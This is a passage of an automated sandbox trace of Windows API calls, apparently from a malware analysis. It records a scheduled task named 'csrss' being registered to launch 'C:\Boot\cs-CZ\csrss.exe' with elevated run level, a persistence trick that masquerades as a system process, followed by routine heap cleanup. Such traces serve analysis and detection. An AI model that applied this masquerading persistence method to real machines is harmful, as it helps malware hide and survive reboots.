lpMem=0x25e560 | out: hHeap=0x240000) returned 1 [0068.438] GetProcessHeap () returned 0x240000 [0068.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25e560 [0068.438] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19bfc0, cchData=128 | out: lpLCData="0") returned 2 [0068.438] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.438] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0068.439] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0068.439] GetProcessHeap () returned 0x240000 [0068.439] GetProcessHeap () returned 0x240000 [0068.439] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e580) returned 1 [0068.439] GetProcessHeap () returned 0x240000 [0068.439] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e580) returned 0x10 [0068.439] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e580 | out: hHeap=0x240000) returned 1 [0068.439] GetProcessHeap () returned 0x240000 [0068.439] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25e580 [0068.439] GetLocalTime (in: lpSystemTime=0x19c1f0 | out: lpSystemTime=0x19c1f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x34, wMilliseconds=0x3d9)) [0068.439] GetLocalTime (in: lpSystemTime=0x19caa8 | out: lpSystemTime=0x19caa8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x34, wMilliseconds=0x3d9)) [0068.439] lstrlenW (lpString="") returned 0 [0068.439] lstrlenW (lpString="") returned 0 [0068.439] lstrlenW (lpString="") returned 0 [0068.439] lstrlenW (lpString="") returned 0 [0068.439] lstrlenW (lpString="") returned 0 [0068.439] lstrlenW (lpString="") returned 0 [0068.439] lstrlenW (lpString="") returned 0 [0068.439] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0068.547] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0068.614] CoCreateInstance (in: rclsid=0xff3d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff3d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19c870 | out: ppv=0x19c870*=0x34dee0) returned 0x0 [0068.627] TaskScheduler:ITaskService:Connect (This=0x34dee0, serverName=0x19c950*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19c910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19c930*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19c8f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0068.680] TaskScheduler:IUnknown:AddRef (This=0x34dee0) returned 0x2 [0068.680] TaskScheduler:ITaskService:GetFolder (in: This=0x34dee0, Path=0x0, ppFolder=0x19ca08 | out: ppFolder=0x19ca08*=0x207ca0) returned 0x0 [0068.684] TaskScheduler:ITaskService:NewTask (in: This=0x34dee0, flags=0x0, ppDefinition=0x19ca00 | out: ppDefinition=0x19ca00*=0x207cf0) returned 0x0 [0068.684] ITaskDefinition:get_Actions (in: This=0x207cf0, ppActions=0x19c980 | out: ppActions=0x19c980*=0x207db0) returned 0x0 [0068.684] IActionCollection:Create (in: This=0x207db0, Type=0, ppAction=0x19c9a0 | out: ppAction=0x19c9a0*=0x206140) returned 0x0 [0068.685] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.685] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.685] lstrlenW (lpString=" ") returned 1 [0068.685] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x5a) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0068.685] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0068.686] IUnknown:Release (This=0x206140) returned 0x1 [0068.686] IUnknown:Release (This=0x207db0) returned 0x1 [0068.686] ITaskDefinition:get_Triggers (in: This=0x207cf0, ppTriggers=0x19c500 | out: ppTriggers=0x19c500*=0x207ef0) returned 0x0 [0068.686] ITriggerCollection:Create (in: This=0x207ef0, Type=9, ppTrigger=0x19c4f8 | out: ppTrigger=0x19c4f8*=0x2061b0) returned 0x0 [0068.686] IUnknown:QueryInterface (in: This=0x2061b0, riid=0xff3d1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x19c4f0 | out: ppvObject=0x19c4f0*=0x2061b0) returned 0x0 [0068.686] IUnknown:Release (This=0x2061b0) returned 0x2 [0068.686] _vsnwprintf (in: _Buffer=0x19c440, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19c418 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0068.686] ITrigger:put_StartBoundary (This=0x2061b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0068.686] lstrlenW (lpString="") returned 0 [0068.686] lstrlenW (lpString="") returned 0 [0068.686] lstrlenW (lpString="") returned 0 [0068.686] lstrlenW (lpString="") returned 0 [0068.686] IUnknown:Release (This=0x2061b0) returned 0x1 [0068.687] IUnknown:Release (This=0x207ef0) returned 0x1 [0068.687] ITaskDefinition:get_Settings (in: This=0x207cf0, ppSettings=0x19c9a0 | out: ppSettings=0x19c9a0*=0x205f80) returned 0x0 [0068.687] lstrlenW (lpString="") returned 0 [0068.687] IUnknown:Release (This=0x205f80) returned 0x1 [0068.687] GetLocalTime (in: lpSystemTime=0x19c858 | out: lpSystemTime=0x19c858*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x35, wMilliseconds=0xeb)) [0068.687] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0068.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0068.687] GetUserNameW (in: lpBuffer=0x19c880, pcbBuffer=0x19c868 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19c868) returned 1 [0068.688] ITaskDefinition:get_RegistrationInfo (in: This=0x207cf0, ppRegistrationInfo=0x19c850 | out: ppRegistrationInfo=0x19c850*=0x207e30) returned 0x0 [0068.688] IRegistrationInfo:put_Author (This=0x207e30, Author="") returned 0x0 [0068.688] _vsnwprintf (in: _Buffer=0x19c880, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19c818 | out: _Buffer="2023-09-19T17:16:53") returned 19 [0068.688] IRegistrationInfo:put_Date (This=0x207e30, Date="") returned 0x0 [0068.688] IUnknown:Release (This=0x207e30) returned 0x1 [0068.688] malloc (_Size=0x18) returned 0x2062c0 [0068.688] free (_Block=0x2062c0) [0068.689] lstrlenW (lpString="") returned 0 [0068.689] ITaskDefinition:get_Principal (in: This=0x207cf0, ppPrincipal=0x19ca70 | out: ppPrincipal=0x19ca70*=0x206090) returned 0x0 [0068.689] IPrincipal:put_RunLevel (This=0x206090, RunLevel=1) returned 0x0 [0068.689] IUnknown:Release (This=0x206090) returned 0x1 [0068.689] malloc (_Size=0x18) returned 0x2062c0 [0068.689] ITaskFolder:RegisterTaskDefinition (in: This=0x207ca0, Path="csrss", pDefinition=0x207cf0, flags=6, UserId=0x19caf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19ea00, varVal2=0xfe), LogonType=3, sddl=0x19cb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19ca10 | out: ppTask=0x19ca10*=0x206460) returned 0x0 [0069.379] free (_Block=0x2062c0) [0069.380] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.380] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0069.380] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0069.380] GetProcessHeap () returned 0x240000 [0069.380] GetProcessHeap () returned 0x240000 [0069.380] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e5a0) returned 1 [0069.380] GetProcessHeap () returned 0x240000 [0069.380] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e5a0) returned 0xe [0069.380] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e5a0 | out: hHeap=0x240000) returned 1 [0069.380] GetProcessHeap () returned 0x240000 [0069.380] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x82) returned 0x27a5f0 [0069.380] _vsnwprintf (in: _Buffer=0x19d150, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19c9b8 | out: _Buffer="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n") returned 67 [0069.380] _fileno (_File=0x7feffe22ab0) returned -2 [0069.380] _errno () returned 0x204bb0 [0069.380] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0069.381] SetLastError (dwErrCode=0x6) [0069.381] lstrlenW (lpString="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n") returned 67 [0069.381] GetConsoleOutputCP () returned 0x0 [0069.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0069.381] GetConsoleOutputCP () returned 0x0 [0069.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xff411880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"csrss\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0069.381] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 67 [0069.381] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0069.382] IUnknown:Release (This=0x206460) returned 0x0 [0069.382] TaskScheduler:IUnknown:Release (This=0x207cf0) returned 0x0 [0069.382] TaskScheduler:IUnknown:Release (This=0x207ca0) returned 0x0 [0069.382] TaskScheduler:IUnknown:Release (This=0x34dee0) returned 0x1 [0069.382] lstrlenW (lpString="") returned 0 [0069.382] GetProcessHeap () returned 0x240000 [0069.382] GetProcessHeap () returned 0x240000 [0069.382] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d330) returned 1 [0069.382] GetProcessHeap () returned 0x240000 [0069.382] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d330) returned 0x1fc [0069.383] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d330 | out: hHeap=0x240000) returned 1 [0069.383] GetProcessHeap () returned 0x240000 [0069.383] GetProcessHeap () returned 0x240000 [0069.383] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e520) returned 1 [0069.383] GetProcessHeap () returned 0x240000 [0069.383] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e520) returned 0x16 [0069.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e520 | out: hHeap=0x240000) returned 1 [0069.384] GetProcessHeap () returned 0x240000 [0069.384] GetProcessHeap () returned 0x240000 [0069.384] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e500) returned 1 [0069.384] GetProcessHeap () returned 0x240000 [0069.384] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e500) returned 0x18 [0069.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e500 | out: hHeap=0x240000) returned 1 [0069.384] GetProcessHeap () returned 0x240000 [0069.384] GetProcessHeap () returned 0x240000 [0069.384] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd70) returned 1 [0069.384] GetProcessHeap () returned 0x240000 [0069.384] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dd70) returned 0x20 [0069.385] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dd70 | out: hHeap=0x240000) returned 1 [0069.385] GetProcessHeap () returned 0x240000 [0069.385] GetProcessHeap () returned 0x240000 [0069.385] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cff0) returned 1 [0069.385] GetProcessHeap () returned 0x240000 [0069.385] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cff0) returned 0xa0 [0069.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cff0 | out: hHeap=0x240000) returned 1 [0069.386] GetProcessHeap () returned 0x240000 [0069.386] GetProcessHeap () returned 0x240000 [0069.386] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cfd0) returned 1 [0069.386] GetProcessHeap () returned 0x240000 [0069.386] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cfd0) returned 0x18 [0069.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cfd0 | out: hHeap=0x240000) returned 1 [0069.386] GetProcessHeap () returned 0x240000 [0069.387] GetProcessHeap () returned 0x240000 [0069.387] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25db30) returned 1 [0069.387] GetProcessHeap () returned 0x240000 [0069.387] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25db30) returned 0x20 [0069.388] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25db30 | out: hHeap=0x240000) returned 1 [0069.388] GetProcessHeap () returned 0x240000 [0069.388] GetProcessHeap () returned 0x240000 [0069.388] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257c30) returned 1 [0069.388] GetProcessHeap () returned 0x240000 [0069.388] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257c30) returned 0x34 [0069.389] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257c30 | out: hHeap=0x240000) returned 1 [0069.389] GetProcessHeap () returned 0x240000 [0069.389] GetProcessHeap () returned 0x240000 [0069.389] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e540) returned 1 [0069.389] GetProcessHeap () returned 0x240000 [0069.389] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e540) returned 0x18 [0069.389] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e540 | out: hHeap=0x240000) returned 1 [0069.389] GetProcessHeap () returned 0x240000 [0069.389] GetProcessHeap () returned 0x240000 [0069.389] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25db00) returned 1 [0069.389] GetProcessHeap () returned 0x240000 [0069.389] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25db00) returned 0x20 [0069.391] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25db00 | out: hHeap=0x240000) returned 1 [0069.391] GetProcessHeap () returned 0x240000 [0069.391] GetProcessHeap () returned 0x240000 [0069.391] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257bb0) returned 1 [0069.391] GetProcessHeap () returned 0x240000 [0069.391] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257bb0) returned 0x36 [0069.392] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257bb0 | out: hHeap=0x240000) returned 1 [0069.392] GetProcessHeap () returned 0x240000 [0069.392] GetProcessHeap () returned 0x240000 [0069.392] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e4e0) returned 1 [0069.392] GetProcessHeap () returned 0x240000 [0069.392] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e4e0) returned 0x18 [0069.392] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e4e0 | out: hHeap=0x240000) returned 1 [0069.392] GetProcessHeap () returned 0x240000 [0069.392] GetProcessHeap () returned 0x240000 [0069.392] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dad0) returned 1 [0069.392] GetProcessHeap () returned 0x240000 [0069.392] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dad0) returned 0x20 [0069.393] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dad0 | out: hHeap=0x240000) returned 1 [0069.393] GetProcessHeap () returned 0x240000 [0069.393] GetProcessHeap () returned 0x240000 [0069.393] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d310) returned 1 [0069.393] GetProcessHeap () returned 0x240000 [0069.393] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d310) returned 0xe [0069.393] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d310 | out: hHeap=0x240000) returned 1 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2f0) returned 1 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d2f0) returned 0x18 [0069.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d2f0 | out: hHeap=0x240000) returned 1 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255e00) returned 1 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255e00) returned 0x20 [0069.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255e00 | out: hHeap=0x240000) returned 1 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbd0) returned 1 [0069.394] GetProcessHeap () returned 0x240000 [0069.394] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cbd0) returned 0x208 [0069.395] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbd0 | out: hHeap=0x240000) returned 1 [0069.395] GetProcessHeap () returned 0x240000 [0069.395] GetProcessHeap () returned 0x240000 [0069.395] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbb0) returned 1 [0069.395] GetProcessHeap () returned 0x240000 [0069.395] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cbb0) returned 0x18 [0069.395] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cbb0 | out: hHeap=0x240000) returned 1 [0069.395] GetProcessHeap () returned 0x240000 [0069.395] GetProcessHeap () returned 0x240000 [0069.395] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d10) returned 1 [0069.395] GetProcessHeap () returned 0x240000 [0069.395] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d10) returned 0x20 [0069.396] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d10 | out: hHeap=0x240000) returned 1 [0069.396] GetProcessHeap () returned 0x240000 [0069.396] GetProcessHeap () returned 0x240000 [0069.396] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e2a0) returned 1 [0069.396] GetProcessHeap () returned 0x240000 [0069.396] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e2a0) returned 0x200 [0069.396] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e2a0 | out: hHeap=0x240000) returned 1 [0069.396] GetProcessHeap () returned 0x240000 [0069.396] GetProcessHeap () returned 0x240000 [0069.396] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d0a0) returned 1 [0069.396] GetProcessHeap () returned 0x240000 [0069.396] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d0a0) returned 0x18 [0069.396] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d0a0 | out: hHeap=0x240000) returned 1 [0069.397] GetProcessHeap () returned 0x240000 [0069.397] GetProcessHeap () returned 0x240000 [0069.397] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c80) returned 1 [0069.397] GetProcessHeap () returned 0x240000 [0069.397] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c80) returned 0x20 [0069.397] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c80 | out: hHeap=0x240000) returned 1 [0069.397] GetProcessHeap () returned 0x240000 [0069.397] GetProcessHeap () returned 0x240000 [0069.397] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d220) returned 1 [0069.397] GetProcessHeap () returned 0x240000 [0069.397] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d220) returned 0x14 [0069.397] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d220 | out: hHeap=0x240000) returned 1 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d200) returned 1 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d200) returned 0x18 [0069.398] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d200 | out: hHeap=0x240000) returned 1 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255bc0) returned 1 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255bc0) returned 0x20 [0069.398] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255bc0 | out: hHeap=0x240000) returned 1 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d240) returned 1 [0069.398] GetProcessHeap () returned 0x240000 [0069.398] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d240) returned 0x16 [0069.399] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d240 | out: hHeap=0x240000) returned 1 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1c0) returned 1 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d1c0) returned 0x18 [0069.399] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d1c0 | out: hHeap=0x240000) returned 1 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b90) returned 1 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b90) returned 0x20 [0069.399] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b90 | out: hHeap=0x240000) returned 1 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba50) returned 1 [0069.399] GetProcessHeap () returned 0x240000 [0069.399] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba50) returned 0x2 [0069.400] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba50 | out: hHeap=0x240000) returned 1 [0069.400] GetProcessHeap () returned 0x240000 [0069.400] GetProcessHeap () returned 0x240000 [0069.400] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x2559e0) returned 1 [0069.400] GetProcessHeap () returned 0x240000 [0069.400] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2559e0) returned 0x20 [0069.400] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2559e0 | out: hHeap=0x240000) returned 1 [0069.400] GetProcessHeap () returned 0x240000 [0069.400] GetProcessHeap () returned 0x240000 [0069.400] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a10) returned 1 [0069.400] GetProcessHeap () returned 0x240000 [0069.400] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a10) returned 0x20 [0069.401] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a10 | out: hHeap=0x240000) returned 1 [0069.401] GetProcessHeap () returned 0x240000 [0069.401] GetProcessHeap () returned 0x240000 [0069.401] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a40) returned 1 [0069.401] GetProcessHeap () returned 0x240000 [0069.401] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a40) returned 0x20 [0069.401] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a40 | out: hHeap=0x240000) returned 1 [0069.401] GetProcessHeap () returned 0x240000 [0069.401] GetProcessHeap () returned 0x240000 [0069.401] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a70) returned 1 [0069.401] GetProcessHeap () returned 0x240000 [0069.401] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a70) returned 0x20 [0069.402] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a70 | out: hHeap=0x240000) returned 1 [0069.402] GetProcessHeap () returned 0x240000 [0069.402] GetProcessHeap () returned 0x240000 [0069.402] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25db60) returned 1 [0069.402] GetProcessHeap () returned 0x240000 [0069.402] 